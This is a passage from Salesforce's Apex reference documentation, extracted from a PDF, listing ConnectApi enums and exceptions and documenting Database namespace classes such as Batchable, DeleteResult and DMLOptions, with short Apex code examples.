•BasicTemplate—A feed item with a generic rendering of an image, link, and title.
•Canvas—A feed item that contains the metadata to render a link to a canvas app.
•CaseComment—A feed item created from a comment to a case record.
•CaseComment—A feed item created from a comment to a case record.
•Content—A feed item with a file attached.
•DashboardComponent—A feed item with a dashboard attached.
•EmailMessage—An email attached to a case record in Case Feed.
•Link—A feed item with a URL attached.
•Poll—A feed item with a poll attached.
•Question—A feed item with a question attached.
•RecordSnapshot—The feed item attachment contains a view of a record at a single
ConnectApi.FeedItemType.CreateRecordEvent.
•TrackedChange—All changes to a record for a single
ConnectApi.FeedItemType.TrackedChange event.
Specifies the type of feed item, such as a content post or a text post.ConnectApi.FeedItemType
•ActivityEvent—Feed item generated in Case Feed when an event or task associated
with a parent record with a feed enabled is created or updated.
•AdvancedTextPost—A feed item with advanced text formatting, such as a group
announcement post.
•ApprovalPost—Feed item with an approval capability. Approvers can act on the feed
item parent.
•AttachArticleEvent—Feed item generated when an article is attached to a case in
Case Feed.
•BasicTemplateFeedItem—Feed item with an enhanced link capability.
•CallLogPost—Feed item generated when a call log is saved to a case in Case Feed.
•CanvasPost—Feed item generated by a canvas app in the publisher or from Chatter
REST API or Chatter in Apex. The post itself is a link to a canvas app.
•CaseCommentPost—Feed item generated when a case comment is saved in Case Feed.
•ChangeStatusPost—Feed item generated when the status of a case is changed in
Case Feed.
•ChatTranscriptionPost—Feed item generated in Case Feed when a Live Agent
chat transcript is saved to a case.
•CollaborationGroupCreated—Feed item generated when a new public group
is created. Contains a link to the new group.
•CollaborationGroupUnarchived—Deprecated. Feed item generated when an
archived group is activated.
•ContentPost—Feed item with a content capability.
1637
ConnectApi EnumsReference
DescriptionEnum
•CreateRecordEvent—Feed item that describes a record created in the publisher.
•DashboardComponentAlert—Feed item with a dashboard alert.
•DashboardComponentSnapshot—Feed item with a dashboard component snapshot
capability.
•EmailMessageEvent—Feed item generated when an email is sent from a case in Case
Feed.
•FacebookPost—Deprecated. Feed item generated when a Facebook post is created
from a case in Case Feed.
•LinkPost—Feed item with a link capability.
•MilestoneEvent—Feed item generated when a case milestone is either completed
or reaches a violation status. Contains a link to the case milestone.
•PollPost—Feed item with a poll capability. Viewers of the feed item are allowed to vote
on the options in the poll.
•ProfileSkillPost—Feed item generated when a skill is added to a user’s profile.
•QuestionPost—Feed item generated when a question is asked.
As of API version 33.0, a feed item of this type can have a content capability and a link
capability.
•ReplyPost—Feed item generated by a Chatter Answers reply.
•RypplePost—Feed item generated when a user posts thanks.
•SocialPost—Feed item generated when a social post is created from a case in Case
Feed.
•TextPost—Feed item containing text only.
•TrackedChange—Feed item created when one or more fields on a record have been
changed.
•UserStatus—Deprecated. A user's post to their own profile.
Specifies the type of users who can see a feed item.ConnectApi.FeedItem
VisibilityType •AllUsers—Visibility is not limited to internal users.
•InternalUsers—Visibility is limited to internal users.
Specifies the order of feed items in the feed.ConnectApi.
FeedSortOrder •CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home
feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for
Company, Home, and Topics feeds.
Specifies the type of feed:ConnectApi.FeedType
•Bookmarks—Contains all feed items saved as bookmarks by the context user.
1638
ConnectApi EnumsReference
DescriptionEnum
•Company—Contains all feed items except feed items of type TrackedChange. To see
the feed item, the user must have sharing access to its parent.
•DirectMessages—Contains all feed items of the context user’s direct messages.
•Files—Contains all feed items that contain files posted by people or groups that the
context user follows.
•Filter—Contains the news feed filtered to contain feed items whose parent is a specified
object type.
•Groups—Contains all feed items from all groups the context user either owns or is a
member of.
•Home—Contains all feed items associated with any managed topic in a community.
•Moderation—Contains all feed items that have been flagged for moderation. The
Communities Moderation feed is available only to users with “Moderate Community Feeds”
permissions.
•Mute—Contains all feed items that the context user muted.
•News—Contains all updates for people the context user follows, groups the user is a member
of, and files and records the user is following. Also contains all updates for records whose
parent is the context user and every feed item and comment that mentions the context user
or that mentions a group the context user is a member of.
•PendingReview—Contains all feed items and comments that are pending review.
•People—Contains all feed items posted by all people the context user follows.
•Record—Contains all feed items whose parent is a specified record, which could be a
group, user, object, file, or any other standard or custom object. When the record is a group,
the feed also contains feed items that mention the group. When the record is a user, the
feed contains only feed items on that user. You can get another user’s record feed.
•Streams—Contains all feed items for any combination of up to 25 feed-enabled entities,
such as people, groups, and records, that the context user subscribes to in a stream.
•To—Contains all feed items with mentions of the context user, feed items the context user
commented on, and feed items created by the context user that are commented on.
•Topics—Contains all feed items that include the specified topic.
•UserProfile—Contains feed items created when a user changes records that can be
tracked in a feed, feed items whose parent is the user, and feed items that @mention the
user. This feed is different than the news feed, which returns more feed items, including
group updates. You can get another user’s user profile feed.
Specifies the value type of a field change:ConnectApi.FieldChange
ValueType •NewValue—A new value
•OldValue—An old value
Specifies the format of the file preview.ConnectApi.
FilePreviewFormat •Pdf—Preview format is PDF.
•Svg—Preview format is compressed SVG.
•Thumbnail—Preview format is 240 x 180 PNG.
1639
ConnectApi EnumsReference
DescriptionEnum
•ThumbnailBig—Preview format is 720 x 480 PNG.
•ThumbnailTiny—Preview format is 120 x 90 PNG.
Specifies the availability status of the file preview.ConnectApi.
FilePreviewStatus •Available—Preview is available.
•InProgress—Preview is being processed.
•NotAvailable—Preview is unavailable.
•NotScheduled—Generation of the preview isn’t scheduled yet.
The publish status of the file:ConnectApi.
FilePublishStatus •PendingAccess—File is pending publishing.
•PrivateAccess—File is private.
•PublicAccess—File is public.
Specifies the sharing option of the file:ConnectApi.
FileSharingOption •Allowed—Resharing of the file is allowed.
•Restricted—Resharing of the file is restricted.
Specifies the sharing role of the file:ConnectApi.
FileSharingType •Admin—Owner permission, but doesn’t own the file.
•Collaborator—Viewer permission, and can edit, change permissions, and upload a
new version of a file.
•Owner—Collaborator permission, and can make a file private, and delete a file.
•Viewer—Can view, download, and share a file.
•WorkspaceManaged—Permission controlled by the library.
Specifies the type of item in a folder.ConnectApi.FolderItem
Type •file
•folder
Specifies a set of groups based on whether the groups are archived or not.ConnectApi.GroupArchive
Status •All—All groups, including groups that are archived and groups that are not archived.
•Archived—Only groups that are archived.
•NotArchived—Only groups that are not archived.
Specifies the frequency with which a user receives email.ConnectApi.GroupEmail
Frequency •EachPost
•DailyDigest
•WeeklyDigest
•Never
•UseDefault
1640
ConnectApi EnumsReference
DescriptionEnum
Specifies the type of membership the user has with the group, such as group owner, manager,
or member.
ConnectApi.
GroupMembershipType
•GroupOwner
•GroupManager
•NotAMember
•NotAMemberPrivateRequested
•StandardMember
The status of a request to join a private group.ConnectApi.
GroupMembership
RequestStatus •Accepted
•Declined
•Pending
Specifies the status of an invitation to join a group.ConnectApi.GroupViral
InvitationsStatus •ActedUponUser—The user was added to the group. An email was sent asking the user
to visit the group.
•Invited—An email was sent asking the user to sign up for the org.
•MaxedOutUsers—The group has the maximum allowed members.
•MultipleError—The user wasn’t invited due to multiple errors.
•NoActionNeededUser—The user is already a member of the group.
•NotVisibleToExternalInviter—The user is not accessible to the user sending
the invitation.
•Unhandled—The user couldn’t be added to the group for an unknown reason.
Specifies the group visibility type.ConnectApi.
GroupVisibilityType •PrivateAccess—Only members of the group can see posts to this group.
•PublicAccess—All users within the community can see posts to this group.
•Unlisted—Reserved for future use.
Specifies the HTTP method.ConnectApi.HttpRequest
Method •HttpDelete—Returns HTTP 204 on success. Response body or output class is empty.
•HttpGet—Returns HTTP 200 on success.
•HttpHead—Returns HTTP 200 on success. Response body or output class is empty.
•HttpPatch—Returns HTTP 200 on success or HTTP 204 if the response body or output
class is empty.
•HttpPost—Returns HTTP 201 on success or HTTP 204 if the response body or output
class is empty. Exceptions are the batch posting resources and methods, which return HTTP
200 on success.
•HttpPut—Return HTTP 200 on success or HTTP 204 if the response body or output class
is empty.
1641
ConnectApi EnumsReference
DescriptionEnum
Specifies the type of maintenance. One of the following:ConnectApi.
MaintenanceType •Downtime—Downtime maintenance.
•GenerallyAvailable—Maintenance with generally available mode.
•MaintenanceWithDowntime—Scheduled maintenance with downtime.
•ReadOnly—Maintenance with read-only mode.
Specifies the type of managed topic.ConnectApi.ManagedTopic
Type •Featured—Topics that are featured, for example, on the community home page, but
don’t provide overall navigation.
•Navigational—Topics that display in a navigational menu in the community.
Specifies the type of rich text markup.ConnectApi.MarkupType
•Bold—Bold tag.
•Code—Code tag.
•Italic—Italic tag.
•ListItem—List item tag.
•OrderedList—Ordered list tag.
•Paragraph—Paragraph tag.
•Strikethrough—Strikethrough tag.
•Underline—Underline tag.
•UnorderedList—Unordered list tag.
Specifies the type of mention completion:ConnectApi.
MentionCompletionType •All—All mention completions, regardless of the type of record to which the mention
refers.
•Group—Mention completions for groups.
•User—Mention completions for users.
Specifies the type of validation error for a proposed mention, if any.ConnectApi.
MentionValidationStatus •Disallowed—The proposed mention is invalid and is rejected because the context user
is trying to mention something that is not allowed. For example, a user who is not a member
of a private group is trying to mention the private group.
•Inaccessible—The proposed mention is allowed but the user or record being
mentioned isn’t notified because they don't have access to the parent record being discussed.
•Ok—There is no validation error for this proposed mention.
Specifies the type of message segment, such as text, link, field change name, or field change
value.
ConnectApi.
MessageSegmentType
•EntityLink
•FieldChange
•FieldChangeName
1642
ConnectApi EnumsReference
DescriptionEnum
•FieldChangeValue
•Hashtag
•InlineImage
•Link
•MarkupBegin
•MarkupEnd
•Mention
•MoreChanges
•ResourceLink
•Text
Specifies the operation to carry out on the file.ConnectApi.
OperationType •Add—Adds the file to the feed element.
•Remove—Removes the file from the feed element.
Specifies the location of an action link group on an associated feed element.ConnectApi.
PlatformAction
GroupCategory •Primary—The action link group is displayed in the body of the feed element.
•Overflow—The action link group is displayed in the overflow menu of the feed element.
Specifies the status of the action.ConnectApi.
PlatformActionStatus •FailedStatus—The action link execution failed.
•NewStatus—The action link is ready to be executed. Available for Download and Ui
action links only.
•PendingStatus—The action link is executing. Choosing this value triggers the API call
for Api and ApiAsync action links.
•SuccessfulStatus—The action link executed successfully.
Specifies the type of platform action.ConnectApi.
PlatformActionType •ActionLink—An indicator on a feed element that targets an API, a web page, or a file,
represented by a button in the Salesforce Chatter feed UI.
•CustomButton—When clicked, opens a URL or a Visualforce page in a window or
executes JavaScript.
•InvocableAction
•ProductivityAction—Productivity actions are predefined by Salesforce and are
attached to a limited set of objects. You can’t edit or delete productivity actions.
•QuickAction—A global or object-specific action.
•StandardButton—A predefined Salesforce button such as New, Edit, and Delete.
Specifies the action to take on a recommendation.ConnectApi.
RecommendationActionType •follow—Follow a file, record, topic, or user.
•join—Join a group.
1643
ConnectApi EnumsReference
DescriptionEnum
•view—View a file, group, article, record, user, custom, or static recommendation.
Specifies the recommendation audience criteria type.ConnectApi.
RecommendationAudience
CriteriaType •CustomList—A custom list of users makes up the audience.
•MaxDaysInCommunity—New community members make up the audience.
Specifies the operation to carry out on the audience members.ConnectApi.
RecommendationAudience
MemberOperationType •Add—Adds specified members to the audience.
•Remove—Removes specified members from the audience.
Specifies a way to tie recommendations together, for example, to display recommendations in
specific places in the UI or to show recommendations based on time of day or geographic
locations.
ConnectApi.
RecommendationChannel
•CustomChannel1—Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels. For example, community managers
can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by
default on the Customer Service (Napili) community home and question detail pages and
in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere
community managers add recommendations using Community Builder in communities
using the Summer ’15 or later version of the Customer Service (Napili) template.
Indicates the reason for a recommendation.ConnectApi.
RecommendationExplanationType •ArticleHasRelatedContent—Articles with related content to a context article.
•ArticleViewedTogether—Articles often viewed together with the article that the
context user just viewed.
•ArticleViewedTogetherWithViewers—Articles often viewed together with
other records that the context user views.
•Custom—Custom recommendations.
•FilePopular—Files with many followers or views.
•FileViewedTogether—Files often viewed at the same time as other files that the
context user views.
•FollowedTogetherWithFollowees—Users often followed together with other
records that the context user follows.
•GroupMembersFollowed—Groups with members that the context user follows.
1644
ConnectApi EnumsReference
DescriptionEnum
•GroupNew—Recently created groups.
•GroupPopular—Groups with many active members.
•ItemViewedTogether—Records often viewed at the same time as other records that
the context user views.
•PopularApp—Applications that are popular.
•RecordOwned—Records that are owned by the context user.
•RecordParentOfFollowed—Parent records of records that the context user follows.
•RecordViewed—Records that the context user recently viewed.
•TopicFollowedTogether—Topics often followed together with the record that the
context user just followed.
•TopicFollowedTogetherWithFollowees—Topics often followed together with
other records that the context user follows.
•TopicPopularFollowed—Topics with many followers.
•TopicPopularLiked—Topics on posts that have many likes.
•UserDirectReport—Users who report to the context user.
•UserFollowedTogether—Users often followed together with the record that the
context user just followed.
•UserFollowsSameUsers—Users who follow the same users as the context user.
•UserManager—The context user’s manager.
•UserNew—Recently created users.
•UserPeer—Users who report to the same manager as the context user.
•UserPopular—Users with many followers.
•UserViewingSameRecords—Users who view the same records as the context user.
Specifies the type of record being recommended.ConnectApi.
RecommendationType •apps
•articles
•files
•groups
•records
•topics
•users
Specifies the type of object being recommended.ConnectApi.
RecommendedObjectType •Today—Static recommendations that don’t have an ID, for example, the Today app
recommendation.
The order in which fields are rendered in a grid.ConnectApi.
RecordColumnOrder •LeftRight—Fields are rendered from left to right.
•TopDown—Fields are rendered from the top down.
1645
ConnectApi EnumsReference
DescriptionEnum
The data type of a record field.ConnectApi.
RecordFieldType •Address
•Blank
•Boolean
•Compound
•CreatedBy
•Date
•DateTime
•Email
•LastModifiedBy
•Location
•Name
•Number
•Percent
•Phone
•Picklist
•Reference
•Text
•Time
Specifies the type of related feed post.ConnectApi.
RelatedFeedPostType •Answered—Related questions that have at least one answer.
•BestAnswer—Related questions that have a best answer.
•Generic—All types of related questions, including answered, with a best answer, and
unanswered.
•Unanswered—Related questions that don’t have answers.
The social network provider.ConnectApi.
SocialNetworkProvider •Facebook
•GooglePlus
•Instagram
•KakaoTalk
•Kik
•Klout
•Line
•LinkedIn
•Messenger
•Other
•Pinterest
1646
ConnectApi EnumsReference
DescriptionEnum
•QQ
•Rypple
•SinaWeibo
•SMS
•Snapchat
•Telegram
•Twitter
•VKontakte
•WeChat
•WhatsApp
•YouTube
The message type of the social post.ConnectApi.SocialPost
MessageType •Comment
•Direct
•Post
•PrivateMessage
•Reply
•Retweet
•Tweet
The current state of the social post.ConnectApi.
SocialPostStatusType •ApprovalPending
•ApprovalRecalled
•ApprovalRejected
•Deleted
•Failed
•Pending
•Replied
•Sent
•Unknown
A generic sort order direction.ConnectApi.SortOrder
•Ascending—Ascending order (A-Z).
•Descending—Descending order (Z-A).
Specifies the order returned by the sort:ConnectApi.TopicSort
•popularDesc—Sorts topics by popularity with the most popular first. This value is the
default.
•alphaAsc—Sorts topics alphabetically.
1647
ConnectApi EnumsReference
DescriptionEnum
Specifies the type of user profile tab:ConnectApi.UserProfile
TabType •CustomVisualForce—Tab that displays data from a Visualforce page.
•CustomWeb—Tab that displays data from any external Web-based application or Web
page.
•Element—Tab that displays generic content inline.
•Feed—Tab that displays the Chatter feed.
•Overview—Tab that displays user details.
Specifies the type of user.ConnectApi.UserType
•ChatterGuest—User is an external user in a private group.
•ChatterOnly—User is a Chatter Free customer.
•Guest—User is unauthenticated.
•Internal—User is a standard organization member.
•Portal—User is an external user in a customer portal, partner portal, or community.
•System—User is Chatter Expert or a system user.
•Undefined—User is a user type that is a custom object.
Specifies the status of a workflow process.ConnectApi.
WorkflowProcessStatus •Approved
•Fault
•Held
•NoResponse
•Pending
•Reassigned
•Rejected
•Removed
•Started
Specifies the zone search result type.ConnectApi.ZoneSearch
ResultType •Article—Search results contain only articles.
•Question—Search results contain only questions.
Specifies the zone search result type.ConnectApi.ZoneShowIn
•Community—Available in a community.
•Internal—Available internally only.
•Portal—Available in a portal.
1648
ConnectApi EnumsReference
ConnectApi Exceptions
The ConnectApi namespace contains exception classes.
All exceptions classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions on page 2266.
The ConnectApi namespace contains these exceptions:
DescriptionException
Any logic error in the way your application is utilizing
ConnectApi code. This is equivalent to receiving a 400 error
from Chatter REST API.
ConnectApi.ConnectApiException
Any issues with the specified resource being found. This is
equivalent to receiving a 404 error from Chatter REST API.
ConnectApi.NotFoundException
When you exceed the rate limit. This is equivalent to receiving a
503 Service Unavailable error from Chatter REST API.
ConnectApi.RateLimitException
Database Namespace
The Database namespace provides classes used with DML operations.
The following are the classes in the Database namespace.
IN THIS SECTION:
Batchable Interface
The class that implements this interface can be executed as a batch Apex job.
BatchableContext Interface
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by
Apex.
DeletedRecord Class
Contains information about a deleted record.
DeleteResult Class
Represents the result of a delete DML operation returned by the Database.delete method.
DMLOptions Class
Enables you to set options related to DML operations.
DmlOptions.AssignmentRuleHeader Class
Enables setting assignment rule options.
DMLOptions.DuplicateRuleHeader Class
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management
feature.
DmlOptions.EmailHeader Class
Enables setting email options.
1649
ConnectApi ExceptionsReference
DuplicateError Class
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization
has set up duplicate rules, which are part of the Duplicate Management feature.
EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.
Error Class
Represents information about an error that occurred during a DML operation when using a Database method.
GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.
GetUpdatedResult Class
Contains the result for the Database.getUpdated method call.
LeadConvert Class
Contains information used for lead conversion.
LeadConvertResult Class
The result of a lead conversion.
MergeResult Class
Contains the result of a merge Database method operation.
QueryLocator Class
Represents the record set returned by Database.getQueryLocator and used with Batch Apex.
QueryLocatorIterator Class
Represents an iterator over a query locator record set.
SaveResult Class
The result of an insert or update DML operation returned by a Database method.
UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.
UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.
Batchable Interface
The class that implements this interface can be executed as a batch Apex job.
Namespace
Database
SEE ALSO:
Using Batch Apex
Batchable Methods
The following are methods for Batchable.
1650
Batchable InterfaceReference
IN THIS SECTION:
execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the
batch job.
finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.
start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.
start(jobId)
Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.
execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the batch
job.
Signature
public Void execute(Database.BatchableContext jobId, List<sObject> recordList)
Parameters
jobId
Type: Database.BatchableContext
Contains the job ID.
recordList
Type: List<sObject>
Contains the batch of records to process.
Return Value
Type: Void
finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.
Signature
public Void finish(Database.BatchableContext jobId)
Parameters
jobId
Type: Database.BatchableContext
Contains the job ID.
1651
Batchable InterfaceReference
Return Value
Type: Void
start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.
Signature
public System.Iterable start(Database.BatchableContext jobId)
Parameters
jobId
Type: Database.BatchableContext
Contains the job ID.
Return Value
Type: System.Iterable
start(jobId)
Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.
Signature
public Database.QueryLocator start(Database.BatchableContext jobId)
Parameters
jobId
Type: Database.BatchableContext
Contains the job ID.
Return Value
Type: Database.QueryLocator
BatchableContext Interface
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by Apex.
1652
BatchableContext InterfaceReference
Namespace
Database
SEE ALSO:
Batchable Interface
BatchableContext Methods
The following are methods for BatchableContext.
IN THIS SECTION:
getChildJobId()
Returns the ID of the current batch job chunk that is being processed.
getJobId()
Returns the batch job ID.
getChildJobId()
Returns the ID of the current batch job chunk that is being processed.
Signature
public Id getChildJobId()
Return Value
Type: ID
getJobId()
Returns the batch job ID.
Signature
public Id getJobId()
Return Value
Type: ID
DeletedRecord Class
Contains information about a deleted record.
Namespace
Database
1653
DeletedRecord ClassReference
Usage
The getDeletedRecords method of the Database.GetDeletedResult class returns a list of
Database.DeletedRecord objects. Use the methods in the Database.DeletedRecord class to retrieve details about
each deleted record.
DeletedRecord Methods
The following are methods for DeletedRecord. All are instance methods.
IN THIS SECTION:
getDeletedDate()
Returns the deleted date of this record.
getId()
Returns the ID of a record deleted within the time window specified in the Database.getDeleted method.
getDeletedDate()
Returns the deleted date of this record.
Signature
public Date getDeletedDate()
Return Value
Type: Date
getId()
Returns the ID of a record deleted within the time window specified in the Database.getDeleted method.
Signature
public Id getId()
Return Value
Type: ID
DeleteResult Class
Represents the result of a delete DML operation returned by the Database.delete method.
Namespace
Database
1654
DeleteResult ClassReference
Usage
An array of Database.DeleteResult objects is returned with the delete database method. Each element in the DeleteResult
array corresponds to the sObject array passed as the sObject[] parameter in the delete Database method; that is, the first
element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second
element, and so on. If only one sObject is passed in, the DeleteResult array contains a single element.
Example
The following example shows how to obtain and iterate through the returned Database.DeleteResult objects. It deletes some
queried accounts using Database.delete with a false second parameter to allow partial processing of records on failure. Next, it
iterates through the results to determine whether the operation was successful or not for each record. It writes the ID of every record
that was processed successfully to the debug log, or error messages and fields of the failed records.
// Query the accounts to delete
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Delete the accounts
Database.DeleteResult[] drList = Database.delete(accts, false);
// Iterate through each returned result
for(Database.DeleteResult dr : drList) {
if (dr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully deleted account with ID: ' + dr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : dr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
DeleteResult Methods
The following are methods for DeleteResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns an empty set.
getId()
Returns the ID of the sObject you were trying to delete.
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
1655
DeleteResult ClassReference
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns an empty set.
Signature
public Database.Error[] getErrors()
Return Value
Type: Database.Error[]
getId()
Returns the ID of the sObject you were trying to delete.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully deleted. If this field is empty, the operation was not successful for that object.
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
DMLOptions Class
Enables you to set options related to DML operations.
Namespace
Database
1656
DMLOptions ClassReference
Usage
Database.DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect
only for record operations performed using Apex DML and not through the Salesforce user interface. The DMLOptions class has three
child options.
DML Child Options
DmlOptions.AssignmentRuleHeader—Enables setting assignment rule options.
DmlOptions.DuplicateRuleHeader—Determines options for using duplicate rules to detect duplicate records. Duplicate rules are
part of the Duplicate Management feature.
DmlOptions.EmailHeader—Enables setting email options.
DmlOptions Properties
The following are properties for DmlOptions.
IN THIS SECTION:
allowFieldTruncation
Specifies the truncation behavior of large strings.
assignmentRuleHeader
Specifies the assignment rule to be used when creating a case or lead.
emailHeader
Specifies additional information regarding the automatic email that gets sent when an events occurs.
localeOptions
Specifies the language of any labels that are returned by Apex.
optAllOrNone
Specifies whether the operation allows for partial success.
allowFieldTruncation
Specifies the truncation behavior of large strings.
Signature
public Boolean allowFieldTruncation {get; set;}
Property Value
Type: Boolean
Usage
In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated.
For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The
allowFieldTruncation property allows you to specify that the previous behavior, truncation, be used instead of the new
behavior in Apex saved against API versions 15.0 and later.
1657
DMLOptions ClassReference
assignmentRuleHeader
Specifies the assignment rule to be used when creating a case or lead.
Signature
public Database.DmlOptions.Assignmentruleheader assignmentRuleHeader {get; set;}
Property Value
Type: Database.DMLOptions.AssignmentRuleHeader
Usage
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.
emailHeader
Specifies additional information regarding the automatic email that gets sent when an events occurs.
Signature
public Database.DmlOptions.EmailHeader emailHeader {get; set;}
Property Value
Type: Database.DMLOptions.EmailHeader
Usage
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur.
•Creation of a new case or task
•Conversion of a case email to a contact
•New user email notification
•Lead queue email notification
•Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of the code's execution.
localeOptions
Specifies the language of any labels that are returned by Apex.
Signature
public Database.DmlOptions.LocaleOptions localeOptions {get; set;}
1658
DMLOptions ClassReference
Property Value
Type: Database.DMLOptions.LocaleOptions
Usage
The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The
first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string
also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US',
and the string for French Canadian is 'fr_CA.'
For a list of the languages that Salesforce supports, see Supported Languages in the Salesforce online help.
optAllOrNone
Specifies whether the operation allows for partial success.
Signature
public Boolean optAllOrNone {get; set;}
Property Value
Type: Boolean
Usage
If optAllOrNone is set to true, all changes are rolled back if any record causes errors. The default for this property is false and
successfully processed records are committed while records with errors aren't.
This property is available in Apex saved against Salesforce API version 20.0 and later.
DmlOptions.AssignmentRuleHeader Class
Enables setting assignment rule options.
Namespace
Database
Example
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
1659
DmlOptions.AssignmentRuleHeader ClassReference
The following example uses the assignmentRuleID option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
DmlOptions.AssignmentRuleHeader Properties
The following are properties for DmlOptions.AssignmentRuleHeader.
IN THIS SECTION:
assignmentRuleID
Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.
useDefaultRule
If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not
specify an assignmentRuleId.
assignmentRuleID
Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.
Signature
public Id assignmentRuleID {get; set;}
Property Value
Type: ID
Usage
The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule.
If the value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
useDefaultRule
If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify
an assignmentRuleId.
Signature
public Boolean useDefaultRule {get; set;}
Property Value
Type: Boolean
1660
DmlOptions.AssignmentRuleHeader ClassReference
Usage
If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with useDefaultRule
set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0 and later, the case or lead is
unassigned and doesn't get assigned to the default owner.
DMLOptions.DuplicateRuleHeader Class
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.
Namespace
Database
Example
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
IN THIS SECTION:
DMLOptions.DuplicateRuleHeader Properties
DMLOptions.DuplicateRuleHeader Properties
The following are properties for DMLOptions.DuplicateRuleHeader.
IN THIS SECTION:
allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.
runAsCurrentUser
Set to true to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to false to use the
sharing rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing
rules for the current user are not enforced.
allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.
1661
DMLOptions.DuplicateRuleHeader ClassReference
Signature
public Boolean allowSave {get; set;}
Property Value
Type: Boolean
Example
This example shows how to save an account record that’s been identified as a duplicate.
dml.DuplicateRuleHeader.allowSave = true means the user should be allowed to save the duplicate. To learn how
to iterate through duplicate errors, see DuplicateError Class.
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
runAsCurrentUser
Set to true to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to false to use the sharing
rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing rules for the
current user are not enforced.
Signature
